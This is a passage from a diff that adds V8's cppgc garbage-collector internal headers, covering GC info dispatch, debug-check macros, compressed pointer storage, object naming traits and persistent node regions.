static void V8_PRESERVE_MOST EnsureGCInfoIndexNonPolymorphic(
|
||||
std::atomic<GCInfoIndex>&, TraceCallback, NameCallback);
|
||||
static void V8_PRESERVE_MOST
|
||||
EnsureGCInfoIndexNonPolymorphic(std::atomic<GCInfoIndex>&, TraceCallback);
|
||||
};
|
||||
|
||||
#define DISPATCH(is_polymorphic, has_finalizer, has_non_hidden_name, function) \
|
||||
template <typename T> \
|
||||
struct EnsureGCInfoIndexTrait::EnsureGCInfoIndexTraitDispatch< \
|
||||
T, is_polymorphic, has_finalizer, has_non_hidden_name> { \
|
||||
V8_INLINE void operator()(std::atomic<GCInfoIndex>& registered_index) { \
|
||||
function; \
|
||||
} \
|
||||
};
|
||||
|
||||
// --------------------------------------------------------------------- //
|
||||
// DISPATCH(is_polymorphic, has_finalizer, has_non_hidden_name, function)
|
||||
// --------------------------------------------------------------------- //
|
||||
DISPATCH(true, true, true, //
|
||||
EnsureGCInfoIndexPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace, //
|
||||
FinalizerTrait<T>::kCallback, //
|
||||
NameTrait<T>::GetName)) //
|
||||
DISPATCH(true, true, false, //
|
||||
EnsureGCInfoIndexPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace, //
|
||||
FinalizerTrait<T>::kCallback)) //
|
||||
DISPATCH(true, false, true, //
|
||||
EnsureGCInfoIndexPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace, //
|
||||
NameTrait<T>::GetName)) //
|
||||
DISPATCH(true, false, false, //
|
||||
EnsureGCInfoIndexPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace)) //
|
||||
DISPATCH(false, true, true, //
|
||||
EnsureGCInfoIndexNonPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace, //
|
||||
FinalizerTrait<T>::kCallback, //
|
||||
NameTrait<T>::GetName)) //
|
||||
DISPATCH(false, true, false, //
|
||||
EnsureGCInfoIndexNonPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace, //
|
||||
FinalizerTrait<T>::kCallback)) //
|
||||
DISPATCH(false, false, true, //
|
||||
EnsureGCInfoIndexNonPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace, //
|
||||
NameTrait<T>::GetName)) //
|
||||
DISPATCH(false, false, false, //
|
||||
EnsureGCInfoIndexNonPolymorphic(registered_index, //
|
||||
TraceTrait<T>::Trace)) //
|
||||
|
||||
#undef DISPATCH
|
||||
|
||||
// Fold types based on finalizer behavior. Note that finalizer characteristics
|
||||
// align with trace behavior, i.e., destructors are virtual when trace methods
|
||||
// are and vice versa.
|
||||
template <typename T, typename ParentMostGarbageCollectedType>
|
||||
struct GCInfoFolding {
|
||||
static constexpr bool kHasVirtualDestructorAtBase =
|
||||
std::has_virtual_destructor<ParentMostGarbageCollectedType>::value;
|
||||
static constexpr bool kBothTypesAreTriviallyDestructible =
|
||||
std::is_trivially_destructible<ParentMostGarbageCollectedType>::value &&
|
||||
std::is_trivially_destructible<T>::value;
|
||||
static constexpr bool kHasCustomFinalizerDispatchAtBase =
|
||||
internal::HasFinalizeGarbageCollectedObject<
|
||||
ParentMostGarbageCollectedType>::value;
|
||||
#ifdef CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
static constexpr bool kWantsDetailedObjectNames = true;
|
||||
#else // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
static constexpr bool kWantsDetailedObjectNames = false;
|
||||
#endif // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
|
||||
// Folding would regresses name resolution when deriving names from C++
|
||||
// class names as it would just folds a name to the base class name.
|
||||
using ResultType = std::conditional_t<(kHasVirtualDestructorAtBase ||
|
||||
kBothTypesAreTriviallyDestructible ||
|
||||
kHasCustomFinalizerDispatchAtBase) &&
|
||||
!kWantsDetailedObjectNames,
|
||||
ParentMostGarbageCollectedType, T>;
|
||||
};
|
||||
|
||||
// Trait determines how the garbage collector treats objects wrt. to traversing,
|
||||
// finalization, and naming.
|
||||
template <typename T>
|
||||
struct GCInfoTrait final {
|
||||
V8_INLINE static GCInfoIndex Index() {
|
||||
static_assert(sizeof(T), "T must be fully defined");
|
||||
static std::atomic<GCInfoIndex>
|
||||
registered_index; // Uses zero initialization.
|
||||
GCInfoIndex index = registered_index.load(std::memory_order_acquire);
|
||||
if (V8_UNLIKELY(!index)) {
|
||||
EnsureGCInfoIndexTrait::EnsureIndex<T>(registered_index);
|
||||
// Slow path call uses V8_PRESERVE_MOST which does not support return
|
||||
// values (also preserves RAX). Avoid out parameter by just reloading the
|
||||
// value here which at this point is guaranteed to be set.
|
||||
index = registered_index.load(std::memory_order_acquire);
|
||||
CPPGC_DCHECK(index != 0);
|
||||
}
|
||||
return index;
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_GC_INFO_H_
|
||||
@@ -0,0 +1,50 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_LOGGING_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_LOGGING_H_
|
||||
|
||||
#include "cppgc/source-location.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
void V8_EXPORT DCheckImpl(const char*,
|
||||
const SourceLocation& = SourceLocation::Current());
|
||||
[[noreturn]] void V8_EXPORT
|
||||
FatalImpl(const char*, const SourceLocation& = SourceLocation::Current());
|
||||
|
||||
// Used to ignore -Wunused-variable.
|
||||
template <typename>
|
||||
struct EatParams {};
|
||||
|
||||
#if defined(DEBUG)
|
||||
#define CPPGC_DCHECK_MSG(condition, message) \
|
||||
do { \
|
||||
if (V8_UNLIKELY(!(condition))) { \
|
||||
::cppgc::internal::DCheckImpl(message); \
|
||||
} \
|
||||
} while (false)
|
||||
#else // !defined(DEBUG)
|
||||
#define CPPGC_DCHECK_MSG(condition, message) \
|
||||
(static_cast<void>(::cppgc::internal::EatParams<decltype( \
|
||||
static_cast<void>(condition), message)>{}))
|
||||
#endif // !defined(DEBUG)
|
||||
|
||||
#define CPPGC_DCHECK(condition) CPPGC_DCHECK_MSG(condition, #condition)
|
||||
|
||||
#define CPPGC_CHECK_MSG(condition, message) \
|
||||
do { \
|
||||
if (V8_UNLIKELY(!(condition))) { \
|
||||
::cppgc::internal::FatalImpl(message); \
|
||||
} \
|
||||
} while (false)
|
||||
|
||||
#define CPPGC_CHECK(condition) CPPGC_CHECK_MSG(condition, #condition)
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_LOGGING_H_
|
||||
@@ -0,0 +1,248 @@
|
||||
// Copyright 2022 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_MEMBER_STORAGE_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_MEMBER_STORAGE_H_
|
||||
|
||||
#include <atomic>
|
||||
#include <cstddef>
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/logging.h"
|
||||
#include "cppgc/sentinel-pointer.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
enum class WriteBarrierSlotType {
|
||||
kCompressed,
|
||||
kUncompressed,
|
||||
};
|
||||
|
||||
#if defined(CPPGC_POINTER_COMPRESSION)
|
||||
|
||||
#if defined(__clang__)
|
||||
// Attribute const allows the compiler to assume that CageBaseGlobal::g_base_
|
||||
// doesn't change (e.g. across calls) and thereby avoid redundant loads.
|
||||
#define CPPGC_CONST __attribute__((const))
|
||||
#define CPPGC_REQUIRE_CONSTANT_INIT \
|
||||
__attribute__((require_constant_initialization))
|
||||
#else // defined(__clang__)
|
||||
#define CPPGC_CONST
|
||||
#define CPPGC_REQUIRE_CONSTANT_INIT
|
||||
#endif // defined(__clang__)
|
||||
|
||||
class V8_EXPORT CageBaseGlobal final {
|
||||
public:
|
||||
V8_INLINE CPPGC_CONST static uintptr_t Get() {
|
||||
CPPGC_DCHECK(IsBaseConsistent());
|
||||
return g_base_.base;
|
||||
}
|
||||
|
||||
V8_INLINE CPPGC_CONST static bool IsSet() {
|
||||
CPPGC_DCHECK(IsBaseConsistent());
|
||||
return (g_base_.base & ~kLowerHalfWordMask) != 0;
|
||||
}
|
||||
|
||||
private:
|
||||
// We keep the lower halfword as ones to speed up decompression.
|
||||
static constexpr uintptr_t kLowerHalfWordMask =
|
||||
(api_constants::kCagedHeapReservationAlignment - 1);
|
||||
|
||||
static union alignas(api_constants::kCachelineSize) Base {
|
||||
uintptr_t base;
|
||||
char cache_line[api_constants::kCachelineSize];
|
||||
} g_base_ CPPGC_REQUIRE_CONSTANT_INIT;
|
||||
|
||||
CageBaseGlobal() = delete;
|
||||
|
||||
V8_INLINE static bool IsBaseConsistent() {
|
||||
return kLowerHalfWordMask == (g_base_.base & kLowerHalfWordMask);
|
||||
}
|
||||
|
||||
friend class CageBaseGlobalUpdater;
|
||||
};
|
||||
|
||||
#undef CPPGC_REQUIRE_CONSTANT_INIT
|
||||
#undef CPPGC_CONST
|
||||
|
||||
class V8_TRIVIAL_ABI CompressedPointer final {
|
||||
public:
|
||||
using IntegralType = uint32_t;
|
||||
static constexpr auto kWriteBarrierSlotType =
|
||||
WriteBarrierSlotType::kCompressed;
|
||||
|
||||
V8_INLINE CompressedPointer() : value_(0u) {}
|
||||
V8_INLINE explicit CompressedPointer(const void* ptr)
|
||||
: value_(Compress(ptr)) {}
|
||||
V8_INLINE explicit CompressedPointer(std::nullptr_t) : value_(0u) {}
|
||||
V8_INLINE explicit CompressedPointer(SentinelPointer)
|
||||
: value_(kCompressedSentinel) {}
|
||||
|
||||
V8_INLINE const void* Load() const { return Decompress(value_); }
|
||||
V8_INLINE const void* LoadAtomic() const {
|
||||
return Decompress(
|
||||
reinterpret_cast<const std::atomic<IntegralType>&>(value_).load(
|
||||
std::memory_order_relaxed));
|
||||
}
|
||||
|
||||
V8_INLINE void Store(const void* ptr) { value_ = Compress(ptr); }
|
||||
V8_INLINE void StoreAtomic(const void* value) {
|
||||
reinterpret_cast<std::atomic<IntegralType>&>(value_).store(
|
||||
Compress(value), std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
V8_INLINE void Clear() { value_ = 0u; }
|
||||
V8_INLINE bool IsCleared() const { return !value_; }
|
||||
|
||||
V8_INLINE bool IsSentinel() const { return value_ == kCompressedSentinel; }
|
||||
|
||||
V8_INLINE uint32_t GetAsInteger() const { return value_; }
|
||||
|
||||
V8_INLINE friend bool operator==(CompressedPointer a, CompressedPointer b) {
|
||||
return a.value_ == b.value_;
|
||||
}
|
||||
V8_INLINE friend bool operator!=(CompressedPointer a, CompressedPointer b) {
|
||||
return a.value_ != b.value_;
|
||||
}
|
||||
V8_INLINE friend bool operator<(CompressedPointer a, CompressedPointer b) {
|
||||
return a.value_ < b.value_;
|
||||
}
|
||||
V8_INLINE friend bool operator<=(CompressedPointer a, CompressedPointer b) {
|
||||
return a.value_ <= b.value_;
|
||||
}
|
||||
V8_INLINE friend bool operator>(CompressedPointer a, CompressedPointer b) {
|
||||
return a.value_ > b.value_;
|
||||
}
|
||||
V8_INLINE friend bool operator>=(CompressedPointer a, CompressedPointer b) {
|
||||
return a.value_ >= b.value_;
|
||||
}
|
||||
|
||||
static V8_INLINE IntegralType Compress(const void* ptr) {
|
||||
static_assert(
|
||||
SentinelPointer::kSentinelValue == 0b10,
|
||||
"The compression scheme relies on the sentinel encoded as 0b10");
|
||||
static constexpr size_t kGigaCageMask =
|
||||
~(api_constants::kCagedHeapReservationAlignment - 1);
|
||||
|
||||
CPPGC_DCHECK(CageBaseGlobal::IsSet());
|
||||
const uintptr_t base = CageBaseGlobal::Get();
|
||||
CPPGC_DCHECK(!ptr || ptr == kSentinelPointer ||
|
||||
(base & kGigaCageMask) ==
|
||||
(reinterpret_cast<uintptr_t>(ptr) & kGigaCageMask));
|
||||
|
||||
#if defined(CPPGC_2GB_CAGE)
|
||||
// Truncate the pointer.
|
||||
auto compressed =
|
||||
static_cast<IntegralType>(reinterpret_cast<uintptr_t>(ptr));
|
||||
#else // !defined(CPPGC_2GB_CAGE)
|
||||
const auto uptr = reinterpret_cast<uintptr_t>(ptr);
|
||||
// Shift the pointer by one and truncate.
|
||||
auto compressed = static_cast<IntegralType>(uptr >> 1);
|
||||
#endif // !defined(CPPGC_2GB_CAGE)
|
||||
// Normal compressed pointers must have the MSB set.
|
||||
CPPGC_DCHECK((!compressed || compressed == kCompressedSentinel) ||
|
||||
(compressed & (1 << 31)));
|
||||
return compressed;
|
||||
}
|
||||
|
||||
static V8_INLINE void* Decompress(IntegralType ptr) {
|
||||
CPPGC_DCHECK(CageBaseGlobal::IsSet());
|
||||
const uintptr_t base = CageBaseGlobal::Get();
|
||||
// Treat compressed pointer as signed and cast it to uint64_t, which will
|
||||
// sign-extend it.
|
||||
#if defined(CPPGC_2GB_CAGE)
|
||||
const uint64_t mask = static_cast<uint64_t>(static_cast<int32_t>(ptr));
|
||||
#else // !defined(CPPGC_2GB_CAGE)
|
||||
// Then, shift the result by one. It's important to shift the unsigned
|
||||
// value, as otherwise it would result in undefined behavior.
|
||||
const uint64_t mask = static_cast<uint64_t>(static_cast<int32_t>(ptr)) << 1;
|
||||
#endif // !defined(CPPGC_2GB_CAGE)
|
||||
return reinterpret_cast<void*>(mask & base);
|
||||
}
|
||||
|
||||
private:
|
||||
#if defined(CPPGC_2GB_CAGE)
|
||||
static constexpr IntegralType kCompressedSentinel =
|
||||
SentinelPointer::kSentinelValue;
|
||||
#else // !defined(CPPGC_2GB_CAGE)
|
||||
static constexpr IntegralType kCompressedSentinel =
|
||||
SentinelPointer::kSentinelValue >> 1;
|
||||
#endif // !defined(CPPGC_2GB_CAGE)
|
||||
// All constructors initialize `value_`. Do not add a default value here as it
|
||||
// results in a non-atomic write on some builds, even when the atomic version
|
||||
// of the constructor is used.
|
||||
IntegralType value_;
|
||||
};
|
||||
|
||||
#endif // defined(CPPGC_POINTER_COMPRESSION)
|
||||
|
||||
class V8_TRIVIAL_ABI RawPointer final {
|
||||
public:
|
||||
using IntegralType = uintptr_t;
|
||||
static constexpr auto kWriteBarrierSlotType =
|
||||
WriteBarrierSlotType::kUncompressed;
|
||||
|
||||
V8_INLINE RawPointer() : ptr_(nullptr) {}
|
||||
V8_INLINE explicit RawPointer(const void* ptr) : ptr_(ptr) {}
|
||||
|
||||
V8_INLINE const void* Load() const { return ptr_; }
|
||||
V8_INLINE const void* LoadAtomic() const {
|
||||
return reinterpret_cast<const std::atomic<const void*>&>(ptr_).load(
|
||||
std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
V8_INLINE void Store(const void* ptr) { ptr_ = ptr; }
|
||||
V8_INLINE void StoreAtomic(const void* ptr) {
|
||||
reinterpret_cast<std::atomic<const void*>&>(ptr_).store(
|
||||
ptr, std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
V8_INLINE void Clear() { ptr_ = nullptr; }
|
||||
V8_INLINE bool IsCleared() const { return !ptr_; }
|
||||
|
||||
V8_INLINE bool IsSentinel() const { return ptr_ == kSentinelPointer; }
|
||||
|
||||
V8_INLINE uintptr_t GetAsInteger() const {
|
||||
return reinterpret_cast<uintptr_t>(ptr_);
|
||||
}
|
||||
|
||||
V8_INLINE friend bool operator==(RawPointer a, RawPointer b) {
|
||||
return a.ptr_ == b.ptr_;
|
||||
}
|
||||
V8_INLINE friend bool operator!=(RawPointer a, RawPointer b) {
|
||||
return a.ptr_ != b.ptr_;
|
||||
}
|
||||
V8_INLINE friend bool operator<(RawPointer a, RawPointer b) {
|
||||
return a.ptr_ < b.ptr_;
|
||||
}
|
||||
V8_INLINE friend bool operator<=(RawPointer a, RawPointer b) {
|
||||
return a.ptr_ <= b.ptr_;
|
||||
}
|
||||
V8_INLINE friend bool operator>(RawPointer a, RawPointer b) {
|
||||
return a.ptr_ > b.ptr_;
|
||||
}
|
||||
V8_INLINE friend bool operator>=(RawPointer a, RawPointer b) {
|
||||
return a.ptr_ >= b.ptr_;
|
||||
}
|
||||
|
||||
private:
|
||||
// All constructors initialize `ptr_`. Do not add a default value here as it
|
||||
// results in a non-atomic write on some builds, even when the atomic version
|
||||
// of the constructor is used.
|
||||
const void* ptr_;
|
||||
};
|
||||
|
||||
#if defined(CPPGC_POINTER_COMPRESSION)
|
||||
using DefaultMemberStorage = CompressedPointer;
|
||||
#else // !defined(CPPGC_POINTER_COMPRESSION)
|
||||
using DefaultMemberStorage = RawPointer;
|
||||
#endif // !defined(CPPGC_POINTER_COMPRESSION)
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_MEMBER_STORAGE_H_
|
||||
@@ -0,0 +1,137 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_NAME_TRAIT_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_NAME_TRAIT_H_
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/name-provider.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
#if CPPGC_SUPPORTS_OBJECT_NAMES && defined(__clang__)
|
||||
#define CPPGC_SUPPORTS_COMPILE_TIME_TYPENAME 1
|
||||
|
||||
// Provides constexpr c-string storage for a name of fixed |Size| characters.
|
||||
// Automatically appends terminating 0 byte.
|
||||
template <size_t Size>
|
||||
struct NameBuffer {
|
||||
char name[Size + 1]{};
|
||||
|
||||
static constexpr NameBuffer FromCString(const char* str) {
|
||||
NameBuffer result;
|
||||
for (size_t i = 0; i < Size; ++i) result.name[i] = str[i];
|
||||
result.name[Size] = 0;
|
||||
return result;
|
||||
}
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
const char* GetTypename() {
|
||||
static constexpr char kSelfPrefix[] =
|
||||
"const char *cppgc::internal::GetTypename() [T =";
|
||||
static_assert(__builtin_strncmp(__PRETTY_FUNCTION__, kSelfPrefix,
|
||||
sizeof(kSelfPrefix) - 1) == 0,
|
||||
"The prefix must match");
|
||||
static constexpr const char* kTypenameStart =
|
||||
__PRETTY_FUNCTION__ + sizeof(kSelfPrefix);
|
||||
static constexpr size_t kTypenameSize =
|
||||
__builtin_strlen(__PRETTY_FUNCTION__) - sizeof(kSelfPrefix) - 1;
|
||||
// NameBuffer is an indirection that is needed to make sure that only a
|
||||
// substring of __PRETTY_FUNCTION__ gets materialized in the binary.
|
||||
static constexpr auto buffer =
|
||||
NameBuffer<kTypenameSize>::FromCString(kTypenameStart);
|
||||
return buffer.name;
|
||||
}
|
||||
|
||||
#else
|
||||
#define CPPGC_SUPPORTS_COMPILE_TIME_TYPENAME 0
|
||||
#endif
|
||||
|
||||
struct HeapObjectName {
|
||||
const char* value;
|
||||
bool name_was_hidden;
|
||||
};
|
||||
|
||||
enum class HeapObjectNameForUnnamedObject : uint8_t {
|
||||
kUseClassNameIfSupported,
|
||||
kUseHiddenName,
|
||||
};
|
||||
|
||||
class V8_EXPORT NameTraitBase {
|
||||
protected:
|
||||
static HeapObjectName GetNameFromTypeSignature(const char*);
|
||||
};
|
||||
|
||||
// Trait that specifies how the garbage collector retrieves the name for a
|
||||
// given object.
|
||||
template <typename T>
|
||||
class NameTrait final : public NameTraitBase {
|
||||
public:
|
||||
static constexpr bool HasNonHiddenName() {
|
||||
#if CPPGC_SUPPORTS_COMPILE_TIME_TYPENAME
|
||||
return true;
|
||||
#elif CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
return true;
|
||||
#else // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
return std::is_base_of<NameProvider, T>::value;
|
||||
#endif // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
}
|
||||
|
||||
static HeapObjectName GetName(
|
||||
const void* obj, HeapObjectNameForUnnamedObject name_retrieval_mode) {
|
||||
return GetNameFor(static_cast<const T*>(obj), name_retrieval_mode);
|
||||
}
|
||||
|
||||
private:
|
||||
static HeapObjectName GetNameFor(const NameProvider* name_provider,
|
||||
HeapObjectNameForUnnamedObject) {
|
||||
// Objects inheriting from `NameProvider` are not considered unnamed as
|
||||
// users already provided a name for them.
|
||||
return {name_provider->GetHumanReadableName(), false};
|
||||
}
|
||||
|
||||
static HeapObjectName GetNameFor(
|
||||
const void*, HeapObjectNameForUnnamedObject name_retrieval_mode) {
|
||||
if (name_retrieval_mode == HeapObjectNameForUnnamedObject::kUseHiddenName)
|
||||
return {NameProvider::kHiddenName, true};
|
||||
|
||||
#if CPPGC_SUPPORTS_COMPILE_TIME_TYPENAME
|
||||
return {GetTypename<T>(), false};
|
||||
#elif CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
|
||||
#if defined(V8_CC_GNU)
|
||||
#define PRETTY_FUNCTION_VALUE __PRETTY_FUNCTION__
|
||||
#elif defined(V8_CC_MSVC)
|
||||
#define PRETTY_FUNCTION_VALUE __FUNCSIG__
|
||||
#else
|
||||
#define PRETTY_FUNCTION_VALUE nullptr
|
||||
#endif
|
||||
|
||||
static const HeapObjectName leaky_name =
|
||||
GetNameFromTypeSignature(PRETTY_FUNCTION_VALUE);
|
||||
return leaky_name;
|
||||
|
||||
#undef PRETTY_FUNCTION_VALUE
|
||||
|
||||
#else // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
return {NameProvider::kHiddenName, true};
|
||||
#endif // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
}
|
||||
};
|
||||
|
||||
using NameCallback = HeapObjectName (*)(const void*,
|
||||
HeapObjectNameForUnnamedObject);
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#undef CPPGC_SUPPORTS_COMPILE_TIME_TYPENAME
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_NAME_TRAIT_H_
|
||||
@@ -0,0 +1,214 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_PERSISTENT_NODE_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_PERSISTENT_NODE_H_
|
||||
|
||||
#include <array>
|
||||
#include <memory>
|
||||
#include <vector>
|
||||
|
||||
#include "cppgc/internal/logging.h"
|
||||
#include "cppgc/trace-trait.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
class CrossThreadPersistentRegion;
|
||||
class FatalOutOfMemoryHandler;
|
||||
class RootVisitor;
|
||||
|
||||
// PersistentNode represents a variant of two states:
|
||||
// 1) traceable node with a back pointer to the Persistent object;
|
||||
// 2) freelist entry.
|
||||
class PersistentNode final {
|
||||
public:
|
||||
PersistentNode() = default;
|
||||
|
||||
PersistentNode(const PersistentNode&) = delete;
|
||||
PersistentNode& operator=(const PersistentNode&) = delete;
|
||||
|
||||
void InitializeAsUsedNode(void* owner, TraceRootCallback trace) {
|
||||
CPPGC_DCHECK(trace);
|
||||
owner_ = owner;
|
||||
trace_ = trace;
|
||||
}
|
||||
|
||||
void InitializeAsFreeNode(PersistentNode* next) {
|
||||
next_ = next;
|
||||
trace_ = nullptr;
|
||||
}
|
||||
|
||||
void UpdateOwner(void* owner) {
|
||||
CPPGC_DCHECK(IsUsed());
|
||||
owner_ = owner;
|
||||
}
|
||||
|
||||
PersistentNode* FreeListNext() const {
|
||||
CPPGC_DCHECK(!IsUsed());
|
||||
return next_;
|
||||
}
|
||||
|
||||
void Trace(RootVisitor& root_visitor) const {
|
||||
CPPGC_DCHECK(IsUsed());
|
||||
trace_(root_visitor, owner_);
|
||||
}
|
||||
|
||||
bool IsUsed() const { return trace_; }
|
||||
|
||||
void* owner() const {
|
||||
CPPGC_DCHECK(IsUsed());
|
||||
return owner_;
|
||||
}
|
||||
|
||||
private:
|
||||
// PersistentNode acts as a designated union:
|
||||
// If trace_ != nullptr, owner_ points to the corresponding Persistent handle.
|
||||
// Otherwise, next_ points to the next freed PersistentNode.
|
||||
union {
|
||||
void* owner_ = nullptr;
|
||||
PersistentNode* next_;
|
||||
};
|
||||
TraceRootCallback trace_ = nullptr;
|
||||
};
|
||||
|
||||
class V8_EXPORT PersistentRegionBase {
|
||||
using PersistentNodeSlots = std::array<PersistentNode, 256u>;
|
||||
|
||||
public:
|
||||
// Clears Persistent fields to avoid stale pointers after heap teardown.
|
||||
~PersistentRegionBase();
|
||||
|
||||
PersistentRegionBase(const PersistentRegionBase&) = delete;
|
||||
PersistentRegionBase& operator=(const PersistentRegionBase&) = delete;
|
||||
|
||||
void Iterate(RootVisitor&);
|
||||
|
||||
size_t NodesInUse() const;
|
||||
|
||||
void ClearAllUsedNodes();
|
||||
|
||||
protected:
|
||||
explicit PersistentRegionBase(const FatalOutOfMemoryHandler& oom_handler);
|
||||
|
||||
PersistentNode* TryAllocateNodeFromFreeList(void* owner,
|
||||
TraceRootCallback trace) {
|
||||
PersistentNode* node = nullptr;
|
||||
if (V8_LIKELY(free_list_head_)) {
|
||||
node = free_list_head_;
|
||||
free_list_head_ = free_list_head_->FreeListNext();
|
||||
CPPGC_DCHECK(!node->IsUsed());
|
||||
node->InitializeAsUsedNode(owner, trace);
|
||||
nodes_in_use_++;
|
||||
}
|
||||
return node;
|
||||
}
|
||||
|
||||
void FreeNode(PersistentNode* node) {
|
||||
CPPGC_DCHECK(node);
|
||||
CPPGC_DCHECK(node->IsUsed());
|
||||
node->InitializeAsFreeNode(free_list_head_);
|
||||
free_list_head_ = node;
|
||||
CPPGC_DCHECK(nodes_in_use_ > 0);
|
||||
nodes_in_use_--;
|
||||
}
|
||||
|
||||
PersistentNode* RefillFreeListAndAllocateNode(void* owner,
|
||||
TraceRootCallback trace);
|
||||
|
||||
private:
|
||||
template <typename PersistentBaseClass>
|
||||
void ClearAllUsedNodes();
|
||||
|
||||
void RefillFreeList();
|
||||
|
||||
std::vector<std::unique_ptr<PersistentNodeSlots>> nodes_;
|
||||
PersistentNode* free_list_head_ = nullptr;
|
||||
size_t nodes_in_use_ = 0;
|
||||
const FatalOutOfMemoryHandler& oom_handler_;
|
||||
|
||||
friend class CrossThreadPersistentRegion;
|
||||
};
|
||||
|
||||
// Variant of PersistentRegionBase that checks whether the allocation and
|
||||
// freeing happens only on the thread that created the region.
|
||||
class V8_EXPORT PersistentRegion final : public PersistentRegionBase {
|
||||
public:
|
||||
explicit PersistentRegion(const FatalOutOfMemoryHandler&);
|
||||
// Clears Persistent fields to avoid stale pointers after heap teardown.
|
||||
~PersistentRegion() = default;
|
||||
|
||||
PersistentRegion(const PersistentRegion&) = delete;
|
||||
PersistentRegion& operator=(const PersistentRegion&) = delete;
|
||||
|
||||
V8_INLINE PersistentNode* AllocateNode(void* owner, TraceRootCallback trace) {
|
||||
CPPGC_DCHECK(IsCreationThread());
|
||||
auto* node = TryAllocateNodeFromFreeList(owner, trace);
|
||||
if (V8_LIKELY(node)) return node;
|
||||
|
||||
// Slow path allocation allows for checking thread correspondence.
|
||||
CPPGC_CHECK(IsCreationThread());
|
||||
return RefillFreeListAndAllocateNode(owner, trace);
|
||||
}
|
||||
|
||||
V8_INLINE void FreeNode(PersistentNode* node) {
|
||||
CPPGC_DCHECK(IsCreationThread());
|
||||
PersistentRegionBase::FreeNode(node);
|
||||
}
|
||||
|
||||
private:
|
||||
bool IsCreationThread();
|
||||
|
||||
int creation_thread_id_;
|
||||
};
|
||||
|
||||
// CrossThreadPersistent uses PersistentRegionBase but protects it using this
|
||||
// lock when needed.
|
||||
class V8_EXPORT PersistentRegionLock final {
|
||||
public:
|
||||
PersistentRegionLock();
|
||||
~PersistentRegionLock();
|
||||
|
||||
static void AssertLocked();
|
||||
};
|
||||
|
||||
// Variant of PersistentRegionBase that checks whether the PersistentRegionLock
|
||||
// is locked.
|
||||
class V8_EXPORT CrossThreadPersistentRegion final
|
||||
: protected PersistentRegionBase {
|
||||
public:
|
||||
explicit CrossThreadPersistentRegion(const FatalOutOfMemoryHandler&);
|
||||
// Clears Persistent fields to avoid stale pointers after heap teardown.
|
||||
~CrossThreadPersistentRegion();
|
||||
|
||||
CrossThreadPersistentRegion(const CrossThreadPersistentRegion&) = delete;
|
||||
CrossThreadPersistentRegion& operator=(const CrossThreadPersistentRegion&) =
|
||||
delete;
|
||||
|
||||
V8_INLINE PersistentNode* AllocateNode(void* owner, TraceRootCallback trace) {
|
||||
PersistentRegionLock::AssertLocked();
|
||||
auto* node = TryAllocateNodeFromFreeList(owner, trace);
|
||||
if (V8_LIKELY(node)) return node;
|
||||
|
||||
return RefillFreeListAndAllocateNode(owner, trace);
|
||||
}
|
||||
|
||||
V8_INLINE void FreeNode(PersistentNode* node) {
|
||||
PersistentRegionLock::AssertLocked();
|
||||
PersistentRegionBase::FreeNode(node);
|
||||
}
|
||||
|
||||
void Iterate(RootVisitor&);
|
||||
|
||||
size_t NodesInUse() const;
|
||||
|
||||
void ClearAllUsedNodes();
|
||||
};
|
||||
|
||||
